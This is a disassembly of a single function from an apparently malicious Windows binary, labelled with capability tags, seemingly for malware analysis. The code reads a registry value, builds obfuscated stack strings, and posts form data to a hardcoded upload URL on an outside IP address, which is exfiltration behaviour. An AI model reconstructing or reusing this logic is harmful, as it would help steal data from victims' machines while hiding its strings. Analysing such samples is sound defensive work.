Function at 0x414410
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x2b4
mov eax, dword [0x78f694]
xor eax, esp
mov dword [esp + 0x2ac], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x2c]
push eax
push 0xf003f
xor ebx, ebx
push ebx
mov edi, 0x318d894e
lea esi, [esp + 0x40]
call fcn.00412810
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x414866
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0xac]
push edx
push ebx
mov ecx, 0x75a8c0
push ebx
sub ecx, 0x780fe8af
lea eax, [esp + 0x30]
mov dword [esp + 0x40], 0x102
call fcn.00412850
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call fcn.005d9260
add esp, 4
push 0x11
mov edi, 0x147e82df
lea esi, [esp + 0x24]
call fcn.00414d50
push eax
push 0xa
mov edi, 0x5f0ed686
lea esi, [esp + 0x78]
call fcn.004128c0
push eax
push 1
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
call fcn.005d9e50
add esp, 0x1c
push 0x11
mov edi, 0xfdc318d
lea esi, [esp + 0x38]
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x15], 0x65
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], bl
call fcn.00412970
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push 1
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
call fcn.005d9e50
add esp, 0x1c
push 0x11
lea ecx, [esp + 0xac]
push ecx
mov ecx, 0x75a900
push 4
sub ecx, 0x6b5ac9fc
lea eax, [esp + 0x2c]
call fcn.004129b0
push eax
push 1
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
call fcn.005d9e50
lea ecx, [esp + 0x7c]
push ecx
call fcn.0062d3b5
lea edx, [esp + 0x80]
push edx
call fcn.0062f531
add esp, 0x24
mov esi, eax
mov ecx, 9
lea edi, [esp + 0x34]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x3c]
push eax
mov eax, dword [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x4c]
push edx
mov edx, dword [esp + 0x54]
push eax
push ecx
add edx, 0x76c
mov edi, 0x75aa08
push edx
sub edi, 0x4c905fa0
lea esi, [esp + 0x4c]
call fcn.00414d90
push eax
lea eax, [esp + 0x1cc]
push eax
call fcn.0062d2c9
add esp, 0x20
push 0x11
lea ecx, [esp + 0x1b4]
push ecx
mov ecx, str._2080__r
push 4
sub ecx, 0x18eafc34
lea eax, [esp + 0x2c]
call fcn.00412a80
push eax
push 1
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
call fcn.005d9e50
push 0x11
lea ecx, [esp + 0x30]
push ecx
push 4
mov al, 0x73
lea edx, [esp + 0x48]
push edx
mov byte [esp + 0x3c], al
mov byte [esp + 0x4c], al
push 1
lea eax, [esp + 0x4c]
mov byte [esp + 0x44], bl
push eax
lea ecx, [esp + 0x4c]
mov bl, 0x74
push ecx
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4a], 0x6e
mov byte [esp + 0x4b], 0x64
mov byte [esp + 0x59], 0x75
mov byte [esp + 0x5a], 0x62
mov byte [esp + 0x5b], 0x6d
mov byte [esp + 0x5c], 0x69
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], 0
call fcn.005d9e50
call fcn.005d92f0
push str.Expect:
push 0
mov ebp, eax
call fcn.005da950
add esp, 0x40
mov dword [esp + 0x10], eax
test ebp, ebp
je 0x414849
mov dl, 0x2f
mov byte [esp + 0x7d], dl
mov byte [esp + 0x7e], dl
mov byte [esp + 0x8d], dl
mov byte [esp + 0x94], dl
mov al, 0x70
lea edx, [esp + 0x78]
push edx
mov cl, 0x2e
push 0x2712
push ebp
mov byte [esp + 0x84], 0x68
mov byte [esp + 0x85], bl
mov byte [esp + 0x86], bl
mov byte [esp + 0x87], al
mov byte [esp + 0x88], 0x3a
mov byte [esp + 0x8b], 0x34
mov byte [esp + 0x8c], 0x33
mov byte [esp + 0x8d], cl
mov byte [esp + 0x8e], 0x32
mov byte [esp + 0x8f], 0x35
mov byte [esp + 0x90], 0x35
mov byte [esp + 0x91], cl
mov byte [esp + 0x92], 0x32
mov byte [esp + 0x93], 0x34
mov byte [esp + 0x94], 0x31
mov byte [esp + 0x95], cl
mov byte [esp + 0x96], 0x32
mov byte [esp + 0x97], 0x30
mov byte [esp + 0x98], 0x31
mov byte [esp + 0x9a], 0x52
mov byte [esp + 0x9b], 0x65
mov byte [esp + 0x9c], al
mov byte [esp + 0x9d], 0x6f
mov byte [esp + 0x9e], 0x72
mov byte [esp + 0x9f], bl
mov byte [esp + 0xa1], 0x75
mov byte [esp + 0xa2], al
mov byte [esp + 0xa3], 0x6c
mov byte [esp + 0xa4], 0x6f
mov byte [esp + 0xa5], 0x61
mov byte [esp + 0xa6], 0x64
mov byte [esp + 0xa7], 0x52
mov byte [esp + 0xa8], 0x65
mov byte [esp + 0xa9], al
mov byte [esp + 0xaa], 0x6f
mov byte [esp + 0xab], 0x72
mov byte [esp + 0xac], bl
mov byte [esp + 0xad], cl
mov byte [esp + 0xae], al
mov byte [esp + 0xaf], 0x68
mov byte [esp + 0xb0], al
mov byte [esp + 0xb1], 0
call fcn.005d9330
mov eax, dword [esp + 0x24]
push eax
push 0x2728
push ebp
call fcn.005d9330
push ebp
call fcn.005d9360
add esp, 0x1c
test eax, eax
je 0x41482c
push eax
call fcn.005da9f0
add esp, 4
mov edi, 0x75a93c
push eax
sub edi, 0x651a0e4
lea esi, [esp + 0x38]
call fcn.00412af0
push eax
call fcn.0062e5d8
add eax, 0x40
push eax
call fcn.0062cebd
add esp, 0xc
push ebp
call fcn.005d9500
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.005da040
mov edx, dword [esp + 0x18]
push edx
call fcn.005da9b0
add esp, 0xc
mov edi, 0x75aa2c
sub edi, 0x609ef795
lea esi, [esp + 0x6c]
call fcn.00414dd0
push eax
call fcn.0062d7fa
add esp, 4
mov ecx, dword [esp + 0x2bc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0062cbd3
add esp, 0x2b4
ret